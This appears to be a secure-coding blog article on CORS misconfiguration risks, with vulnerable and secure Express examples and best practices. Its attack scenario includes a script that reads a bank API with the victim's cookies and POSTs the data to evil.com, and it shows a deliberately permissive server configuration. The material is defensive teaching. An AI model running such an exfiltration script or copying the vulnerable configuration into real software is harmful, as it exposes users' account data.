The Risks of Misconfigured CORS in Web Development

Cross-Origin Resource Sharing (CORS) is a critical security mechanism that allows web servers to specify which origins (domains, protocols, or ports) can access their resources. While CORS is essential for enabling legitimate cross-origin requests in modern web applications, misconfigurations can expose applications to significant security risks.

What is CORS and Why Does It Matter?

CORS is a browser-enforced protocol that governs how resources (e.g., APIs, images, or scripts) hosted on one origin can be accessed by another. For example, if a frontend at https://app.example.com makes a request to an API at https://api.example.com, CORS policies on the API server determine whether the request is allowed.

Misconfigured CORS policies can allow unauthorized domains to access sensitive resources, potentially leading to data theft, unauthorized actions, or other malicious activities. Attackers exploit these weaknesses to bypass the Same-Origin Policy (SOP), a fundamental browser security feature.

Common CORS Misconfigurations

  • Allowing All Origins (Access-Control-Allow-Origin: *): This is dangerous when sensitive data or authenticated endpoints are exposed.
  • Reflecting Arbitrary Origins: Dynamically setting Access-Control-Allow-Origin to the Origin header value can trust any origin.
  • Allowing Untrusted Origins with Credentials: Using Access-Control-Allow-Credentials: true with wildcards or unchecked origins exposes user credentials.
  • Overly Permissive Methods or Headers: Allowing unnecessary HTTP methods or headers may enable unintended actions.

The Risks: A Real-World Attack Scenario

Consider a bank web app at https://bank.example.com that uses an API to retrieve account details. If the API allows all origins, an attacker can create a malicious site.

fetch('https://bank.example.com/api/account', {
  method: 'GET',
  credentials: 'include'
})
  .then(response => response.json())
  .then(data => {
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

If a logged-in user visits the attacker's site, their cookies are sent to the bank API, and sensitive data is exfiltrated.

Vulnerable Code Example

const express = require('express');
const app = express();

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

app.get('/api/account', (req, res) => {
  res.json({ balance: 10000, accountNumber: '1234567890' });
});

app.listen(3000, () => console.log('Server running on port 3000'));

Secure Code Example

const express = require('express');
const cors = require('cors');
const app = express();

const allowedOrigins = ['https://app.example.com', 'https://staging.example.com'];
app.use(cors({
  origin: (origin, callback) => {
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  methods: ['GET', 'POST'],
  allowedHeaders: ['Content-Type'],
  credentials: true
}));
app.get('/api/account', (req, res) => {
  res.json({ balance: 10000, accountNumber: '1234567890' });
});
app.listen(3000, () => console.log('Server running on port 3000'));

Best Practices for Secure CORS Configuration

  • Explicitly List Trusted Origins: Avoid wildcards, validate origins against a whitelist.
  • Avoid Wildcards with Credentials: Never use * with Access-Control-Allow-Credentials: true.
  • Restrict Methods and Headers: Allow only what's needed.
  • Use CORS Libraries: Use libraries like CORS in Node.js to avoid manual errors.
  • Test CORS Policies: Use tools like Burp Suite and browser dev tools regularly.
  • Implement Additional Protections: Combine CORS with CSP, CSRF tokens, and proper authentication.

Conclusion

Misconfigured CORS can lead to serious security vulnerabilities. By following best practices, restricting access explicitly, and regularly testing your setup, you can safeguard your application and users. Review the OWASP CORS Cheat Sheet for more guidance.